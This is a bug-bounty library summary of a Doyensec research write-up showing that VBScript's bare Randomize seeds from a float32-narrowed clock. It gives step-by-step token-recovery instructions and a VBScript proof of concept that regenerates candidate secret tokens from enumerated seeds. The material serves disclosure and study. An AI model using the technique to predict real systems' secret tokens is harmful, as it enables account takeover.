# Yet Another Random Story: VBScript's Randomize Internals

VBScript Randomize seeds from GetLocalTime narrowed to Single, yielding only ~65,536 effective seeds, letting attackers brute-force secret tokens from a rough timestamp.

- Payout: Research
- Severity: high
- Program: VBScript
- Write-up by: Doyensec
- Disclosed: 2025-09-24
- Write-up quality: 8/10
- Original: https://blog.doyensec.com/2025/09/25/yet-another-random-story.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-doyensec-com-2025-09-25-yet-another-random-story-html
- Tags: area:os domain:desktop impact:ato kind:research platform:research sev:high tech:windows technique:reverse-engineering technique:source-review vuln:crypto vuln:info-disclosure

**Target:** VBScript token generator (vbscript.dll Randomize/Rnd)
**Root cause:** Bare Randomize seeds from GetLocalTime seconds+ms converted to Single (CVTPD2PS), collapsing to ~65,536 effective seeds; explicit Randomize <seed> takes the high dword of the Double instead, a different path.
**Steps:**
1. Observe token generator calls `Randomize` inside loop then `pos = Int((Rnd * charsLength) + 1)`
2. Note bare Randomize uses GetLocalTime, not Timer(), narrowed to float32 via CVTPD2PS
3. Enumerate seeds in 0.015625s (1/64s) steps across suspected time window
4. Convert each time to the Double `Randomize <seed>` expects: low dword zero, high dword = float32 bits (`struct.pack('<f',...)` prefixed with 4 zero bytes)
5. Feed seed to VBS PoC via `cscript.exe //nologo poc.vbs <seed>`, parse `Predicted token:`
6. Match predicted token against captured secret; recovered on 4th iteration within 1s window
**How found:** Noticed Randomize inside loop, initially suspected reseeding issue; found VBScript doesn't reset state on same seed. Then discovered bare Randomize uses GetLocalTime narrowed to Single, and explicit seed uses high dword of Double — explaining failed reseed attempts. Local runs of ~10,000 produced only 400 unique tokens, confirming low entropy.
**Exploitation:** Attacker needs approximate token-generation time (file creation metadata, logs). Iterates 64Hz seeds over window, regenerates candidate tokens, tests each against target until match, recovering the secret token.
**Insight:** When a PRNG seed comes from a clock, check the actual disassembly of the seeding path: implicit vs explicit seed may use different conversions (float32 narrowing vs high-dword truncation), and Single precision collapses the seed space to ~2^16 — enumerate at the clock tick rate.

## Proof of concept (copied exactly from the original report)

**VBScript token generator with seed argument**

```
Option Explicit

If WScript.Arguments.Count < 1 Then
 WScript.Echo "VBS_Error: Requires 1 seed argument."
 WScript.Quit(1)
End If

Dim seedToTest
seedToTest = WScript.Arguments(0)
WScript.Echo "Seed: " & seedToTest

Dim chars, n
chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789()*&^%$#@!"
n = 32

WScript.Echo "Predicted token: " & GenerateToken(chars, n, seedToTest)

function GenerateToken(chars, n, seed)
 Dim result, pos, i, charsLength
 charsLength = Int(Len(chars)) 
 
 For i = 1 To n
 Randomize seed
 pos = Int((Rnd * charsLength) + 1)
 result = result & Mid(chars, pos, 1)
 Next
 
 GenerateToken = result 
end function
```

**Timer value capture VBScript snippet**

```
Dim t, hh, mm, ss, ns
t = Timer()

hh = Int(t \ 3600)
mm = Int((t Mod 3600) \ 60)
ss = Int(t Mod 60)
ns = (t - Int(t)) * 1000000

WScript.Echo _
 Right("0" & hh, 2) & ":" & _
 Right("0" & mm, 2) & ":" & _
 Right("0" & ss, 2) & "." & _
 Right("000000" & CStr(Int(ns)), 6)
```

